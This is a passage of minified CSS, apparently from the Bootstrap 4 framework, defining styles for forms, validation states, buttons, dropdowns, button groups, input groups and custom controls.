2px)}.form-group{margin-bottom:1rem}.form-text{display:block;margin-top:.25rem}.form-row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-5px;margin-left:-5px}.form-row>.col,.form-row>[class*=col-]{padding-right:5px;padding-left:5px}.form-check{position:relative;display:block;padding-left:1.25rem}.form-check-input{position:absolute;margin-top:.3rem;margin-left:-1.25rem}.form-check-input:disabled~.form-check-label{color:#6c757d}.form-check-label{margin-bottom:0}.form-check-inline{display:-ms-inline-flexbox;display:inline-flex;-ms-flex-align:center;align-items:center;padding-left:0;margin-right:.75rem}.form-check-inline .form-check-input{position:static;margin-top:0;margin-right:.3125rem;margin-left:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#28a745}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(40,167,69,.8);border-radius:.2rem}.custom-select.is-valid,.form-control.is-valid,.was-validated .custom-select:valid,.was-validated .form-control:valid{border-color:#28a745}.custom-select.is-valid:focus,.form-control.is-valid:focus,.was-validated .custom-select:valid:focus,.was-validated .form-control:valid:focus{border-color:#28a745;box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.custom-select.is-valid~.valid-feedback,.custom-select.is-valid~.valid-tooltip,.form-control.is-valid~.valid-feedback,.form-control.is-valid~.valid-tooltip,.was-validated .custom-select:valid~.valid-feedback,.was-validated .custom-select:valid~.valid-tooltip,.was-validated .form-control:valid~.valid-feedback,.was-validated .form-control:valid~.valid-tooltip{display:block}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#28a745}.form-check-input.is-valid~.valid-feedback,.form-check-input.is-valid~.valid-tooltip,.was-validated .form-check-input:valid~.valid-feedback,.was-validated .form-check-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid~.custom-control-label,.was-validated .custom-control-input:valid~.custom-control-label{color:#28a745}.custom-control-input.is-valid~.custom-control-label::before,.was-validated .custom-control-input:valid~.custom-control-label::before{background-color:#71dd8a}.custom-control-input.is-valid~.valid-feedback,.custom-control-input.is-valid~.valid-tooltip,.was-validated .custom-control-input:valid~.valid-feedback,.was-validated .custom-control-input:valid~.valid-tooltip{display:block}.custom-control-input.is-valid:checked~.custom-control-label::before,.was-validated .custom-control-input:valid:checked~.custom-control-label::before{background-color:#34ce57}.custom-control-input.is-valid:focus~.custom-control-label::before,.was-validated .custom-control-input:valid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(40,167,69,.25)}.custom-file-input.is-valid~.custom-file-label,.was-validated .custom-file-input:valid~.custom-file-label{border-color:#28a745}.custom-file-input.is-valid~.custom-file-label::before,.was-validated .custom-file-input:valid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-valid~.valid-feedback,.custom-file-input.is-valid~.valid-tooltip,.was-validated .custom-file-input:valid~.valid-feedback,.was-validated .custom-file-input:valid~.valid-tooltip{display:block}.custom-file-input.is-valid:focus~.custom-file-label,.was-validated .custom-file-input:valid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(40,167,69,.25)}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:80%;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.5rem;margin-top:.1rem;font-size:.875rem;line-height:1;color:#fff;background-color:rgba(220,53,69,.8);border-radius:.2rem}.custom-select.is-invalid,.form-control.is-invalid,.was-validated .custom-select:invalid,.was-validated .form-control:invalid{border-color:#dc3545}.custom-select.is-invalid:focus,.form-control.is-invalid:focus,.was-validated .custom-select:invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.custom-select.is-invalid~.invalid-feedback,.custom-select.is-invalid~.invalid-tooltip,.form-control.is-invalid~.invalid-feedback,.form-control.is-invalid~.invalid-tooltip,.was-validated .custom-select:invalid~.invalid-feedback,.was-validated .custom-select:invalid~.invalid-tooltip,.was-validated .form-control:invalid~.invalid-feedback,.was-validated .form-control:invalid~.invalid-tooltip{display:block}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-input.is-invalid~.invalid-feedback,.form-check-input.is-invalid~.invalid-tooltip,.was-validated .form-check-input:invalid~.invalid-feedback,.was-validated .form-check-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid~.custom-control-label,.was-validated .custom-control-input:invalid~.custom-control-label{color:#dc3545}.custom-control-input.is-invalid~.custom-control-label::before,.was-validated .custom-control-input:invalid~.custom-control-label::before{background-color:#efa2a9}.custom-control-input.is-invalid~.invalid-feedback,.custom-control-input.is-invalid~.invalid-tooltip,.was-validated .custom-control-input:invalid~.invalid-feedback,.was-validated .custom-control-input:invalid~.invalid-tooltip{display:block}.custom-control-input.is-invalid:checked~.custom-control-label::before,.was-validated .custom-control-input:invalid:checked~.custom-control-label::before{background-color:#e4606d}.custom-control-input.is-invalid:focus~.custom-control-label::before,.was-validated .custom-control-input:invalid:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(220,53,69,.25)}.custom-file-input.is-invalid~.custom-file-label,.was-validated .custom-file-input:invalid~.custom-file-label{border-color:#dc3545}.custom-file-input.is-invalid~.custom-file-label::before,.was-validated .custom-file-input:invalid~.custom-file-label::before{border-color:inherit}.custom-file-input.is-invalid~.invalid-feedback,.custom-file-input.is-invalid~.invalid-tooltip,.was-validated .custom-file-input:invalid~.invalid-feedback,.was-validated .custom-file-input:invalid~.invalid-tooltip{display:block}.custom-file-input.is-invalid:focus~.custom-file-label,.was-validated .custom-file-input:invalid:focus~.custom-file-label{box-shadow:0 0 0 .2rem rgba(220,53,69,.25)}.form-inline{display:-ms-flexbox;display:flex;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center}.form-inline .form-check{width:100%}@media (min-width:576px){.form-inline label{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;margin-bottom:0}.form-inline .form-group{display:-ms-flexbox;display:flex;-ms-flex:0 0 auto;flex:0 0 auto;-ms-flex-flow:row wrap;flex-flow:row wrap;-ms-flex-align:center;align-items:center;margin-bottom:0}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-plaintext{display:inline-block}.form-inline .custom-select,.form-inline .input-group{width:auto}.form-inline .form-check{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:auto;padding-left:0}.form-inline .form-check-input{position:relative;margin-top:0;margin-right:.25rem;margin-left:0}.form-inline .custom-control{-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center}.form-inline .custom-control-label{margin-bottom:0}}.btn{display:inline-block;font-weight:400;text-align:center;white-space:nowrap;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;border:1px solid transparent;padding:.375rem .75rem;font-size:1rem;line-height:1.5;border-radius:.25rem;transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:focus,.btn:hover{text-decoration:none}.btn.focus,.btn:focus{outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.btn.disabled,.btn:disabled{opacity:.65}.btn:not(:disabled):not(.disabled){cursor:pointer}.btn:not(:disabled):not(.disabled).active,.btn:not(:disabled):not(.disabled):active{background-image:none}a.btn.disabled,fieldset:disabled a.btn{pointer-events:none}.btn-primary{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:hover{color:#fff;background-color:#0069d9;border-color:#0062cc}.btn-primary.focus,.btn-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-primary.disabled,.btn-primary:disabled{color:#fff;background-color:#007bff;border-color:#007bff}.btn-primary:not(:disabled):not(.disabled).active,.btn-primary:not(:disabled):not(.disabled):active,.show>.btn-primary.dropdown-toggle{color:#fff;background-color:#0062cc;border-color:#005cbf}.btn-primary:not(:disabled):not(.disabled).active:focus,.btn-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-secondary{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:hover{color:#fff;background-color:#5a6268;border-color:#545b62}.btn-secondary.focus,.btn-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-secondary.disabled,.btn-secondary:disabled{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-secondary:not(:disabled):not(.disabled).active,.btn-secondary:not(:disabled):not(.disabled):active,.show>.btn-secondary.dropdown-toggle{color:#fff;background-color:#545b62;border-color:#4e555b}.btn-secondary:not(:disabled):not(.disabled).active:focus,.btn-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-success{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:hover{color:#fff;background-color:#218838;border-color:#1e7e34}.btn-success.focus,.btn-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-success.disabled,.btn-success:disabled{color:#fff;background-color:#28a745;border-color:#28a745}.btn-success:not(:disabled):not(.disabled).active,.btn-success:not(:disabled):not(.disabled):active,.show>.btn-success.dropdown-toggle{color:#fff;background-color:#1e7e34;border-color:#1c7430}.btn-success:not(:disabled):not(.disabled).active:focus,.btn-success:not(:disabled):not(.disabled):active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-info{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:hover{color:#fff;background-color:#138496;border-color:#117a8b}.btn-info.focus,.btn-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-info.disabled,.btn-info:disabled{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-info:not(:disabled):not(.disabled).active,.btn-info:not(:disabled):not(.disabled):active,.show>.btn-info.dropdown-toggle{color:#fff;background-color:#117a8b;border-color:#10707f}.btn-info:not(:disabled):not(.disabled).active:focus,.btn-info:not(:disabled):not(.disabled):active:focus,.show>.btn-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-warning{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:hover{color:#212529;background-color:#e0a800;border-color:#d39e00}.btn-warning.focus,.btn-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-warning.disabled,.btn-warning:disabled{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-warning:not(:disabled):not(.disabled).active,.btn-warning:not(:disabled):not(.disabled):active,.show>.btn-warning.dropdown-toggle{color:#212529;background-color:#d39e00;border-color:#c69500}.btn-warning:not(:disabled):not(.disabled).active:focus,.btn-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-danger{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:hover{color:#fff;background-color:#c82333;border-color:#bd2130}.btn-danger.focus,.btn-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-danger.disabled,.btn-danger:disabled{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-danger:not(:disabled):not(.disabled).active,.btn-danger:not(:disabled):not(.disabled):active,.show>.btn-danger.dropdown-toggle{color:#fff;background-color:#bd2130;border-color:#b21f2d}.btn-danger:not(:disabled):not(.disabled).active:focus,.btn-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-light{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:hover{color:#212529;background-color:#e2e6ea;border-color:#dae0e5}.btn-light.focus,.btn-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-light.disabled,.btn-light:disabled{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-light:not(:disabled):not(.disabled).active,.btn-light:not(:disabled):not(.disabled):active,.show>.btn-light.dropdown-toggle{color:#212529;background-color:#dae0e5;border-color:#d3d9df}.btn-light:not(:disabled):not(.disabled).active:focus,.btn-light:not(:disabled):not(.disabled):active:focus,.show>.btn-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-dark{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:hover{color:#fff;background-color:#23272b;border-color:#1d2124}.btn-dark.focus,.btn-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-dark.disabled,.btn-dark:disabled{color:#fff;background-color:#343a40;border-color:#343a40}.btn-dark:not(:disabled):not(.disabled).active,.btn-dark:not(:disabled):not(.disabled):active,.show>.btn-dark.dropdown-toggle{color:#fff;background-color:#1d2124;border-color:#171a1d}.btn-dark:not(:disabled):not(.disabled).active:focus,.btn-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-primary{color:#007bff;background-color:transparent;background-image:none;border-color:#007bff}.btn-outline-primary:hover{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary.focus,.btn-outline-primary:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-primary.disabled,.btn-outline-primary:disabled{color:#007bff;background-color:transparent}.btn-outline-primary:not(:disabled):not(.disabled).active,.btn-outline-primary:not(:disabled):not(.disabled):active,.show>.btn-outline-primary.dropdown-toggle{color:#fff;background-color:#007bff;border-color:#007bff}.btn-outline-primary:not(:disabled):not(.disabled).active:focus,.btn-outline-primary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-primary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(0,123,255,.5)}.btn-outline-secondary{color:#6c757d;background-color:transparent;background-image:none;border-color:#6c757d}.btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary.focus,.btn-outline-secondary:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-secondary.disabled,.btn-outline-secondary:disabled{color:#6c757d;background-color:transparent}.btn-outline-secondary:not(:disabled):not(.disabled).active,.btn-outline-secondary:not(:disabled):not(.disabled):active,.show>.btn-outline-secondary.dropdown-toggle{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-outline-secondary:not(:disabled):not(.disabled).active:focus,.btn-outline-secondary:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-secondary.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(108,117,125,.5)}.btn-outline-success{color:#28a745;background-color:transparent;background-image:none;border-color:#28a745}.btn-outline-success:hover{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success.focus,.btn-outline-success:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-success.disabled,.btn-outline-success:disabled{color:#28a745;background-color:transparent}.btn-outline-success:not(:disabled):not(.disabled).active,.btn-outline-success:not(:disabled):not(.disabled):active,.show>.btn-outline-success.dropdown-toggle{color:#fff;background-color:#28a745;border-color:#28a745}.btn-outline-success:not(:disabled):not(.disabled).active:focus,.btn-outline-success:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(40,167,69,.5)}.btn-outline-info{color:#17a2b8;background-color:transparent;background-image:none;border-color:#17a2b8}.btn-outline-info:hover{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info.focus,.btn-outline-info:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-info.disabled,.btn-outline-info:disabled{color:#17a2b8;background-color:transparent}.btn-outline-info:not(:disabled):not(.disabled).active,.btn-outline-info:not(:disabled):not(.disabled):active,.show>.btn-outline-info.dropdown-toggle{color:#fff;background-color:#17a2b8;border-color:#17a2b8}.btn-outline-info:not(:disabled):not(.disabled).active:focus,.btn-outline-info:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-info.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(23,162,184,.5)}.btn-outline-warning{color:#ffc107;background-color:transparent;background-image:none;border-color:#ffc107}.btn-outline-warning:hover{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning.focus,.btn-outline-warning:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-warning.disabled,.btn-outline-warning:disabled{color:#ffc107;background-color:transparent}.btn-outline-warning:not(:disabled):not(.disabled).active,.btn-outline-warning:not(:disabled):not(.disabled):active,.show>.btn-outline-warning.dropdown-toggle{color:#212529;background-color:#ffc107;border-color:#ffc107}.btn-outline-warning:not(:disabled):not(.disabled).active:focus,.btn-outline-warning:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-warning.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(255,193,7,.5)}.btn-outline-danger{color:#dc3545;background-color:transparent;background-image:none;border-color:#dc3545}.btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger.focus,.btn-outline-danger:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-danger.disabled,.btn-outline-danger:disabled{color:#dc3545;background-color:transparent}.btn-outline-danger:not(:disabled):not(.disabled).active,.btn-outline-danger:not(:disabled):not(.disabled):active,.show>.btn-outline-danger.dropdown-toggle{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-outline-danger:not(:disabled):not(.disabled).active:focus,.btn-outline-danger:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-danger.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(220,53,69,.5)}.btn-outline-light{color:#f8f9fa;background-color:transparent;background-image:none;border-color:#f8f9fa}.btn-outline-light:hover{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light.focus,.btn-outline-light:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-light.disabled,.btn-outline-light:disabled{color:#f8f9fa;background-color:transparent}.btn-outline-light:not(:disabled):not(.disabled).active,.btn-outline-light:not(:disabled):not(.disabled):active,.show>.btn-outline-light.dropdown-toggle{color:#212529;background-color:#f8f9fa;border-color:#f8f9fa}.btn-outline-light:not(:disabled):not(.disabled).active:focus,.btn-outline-light:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-light.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(248,249,250,.5)}.btn-outline-dark{color:#343a40;background-color:transparent;background-image:none;border-color:#343a40}.btn-outline-dark:hover{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark.focus,.btn-outline-dark:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-outline-dark.disabled,.btn-outline-dark:disabled{color:#343a40;background-color:transparent}.btn-outline-dark:not(:disabled):not(.disabled).active,.btn-outline-dark:not(:disabled):not(.disabled):active,.show>.btn-outline-dark.dropdown-toggle{color:#fff;background-color:#343a40;border-color:#343a40}.btn-outline-dark:not(:disabled):not(.disabled).active:focus,.btn-outline-dark:not(:disabled):not(.disabled):active:focus,.show>.btn-outline-dark.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(52,58,64,.5)}.btn-link{font-weight:400;color:#007bff;background-color:transparent}.btn-link:hover{color:#0056b3;text-decoration:underline;background-color:transparent;border-color:transparent}.btn-link.focus,.btn-link:focus{text-decoration:underline;border-color:transparent;box-shadow:none}.btn-link.disabled,.btn-link:disabled{color:#6c757d;pointer-events:none}.btn-group-lg>.btn,.btn-lg{padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.btn-group-sm>.btn,.btn-sm{padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:.5rem}input[type=button].btn-block,input[type=reset].btn-block,input[type=submit].btn-block{width:100%}.fade{transition:opacity .15s linear}@media screen and (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{position:relative;height:0;overflow:hidden;transition:height .35s ease}@media screen and (prefers-reduced-motion:reduce){.collapsing{transition:none}}.dropdown,.dropleft,.dropright,.dropup{position:relative}.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;font-size:1rem;color:#212529;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.dropdown-menu-right{right:0;left:auto}.dropup .dropdown-menu{top:auto;bottom:100%;margin-top:0;margin-bottom:.125rem}.dropup .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-menu{top:0;right:auto;left:100%;margin-top:0;margin-left:.125rem}.dropright .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:0;border-bottom:.3em solid transparent;border-left:.3em solid}.dropright .dropdown-toggle:empty::after{margin-left:0}.dropright .dropdown-toggle::after{vertical-align:0}.dropleft .dropdown-menu{top:0;right:100%;left:auto;margin-top:0;margin-right:.125rem}.dropleft .dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file:focus,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control{margin-left:-1px}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label,.input-group>.custom-file:not(:first-child) .custom-file-label::after{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem 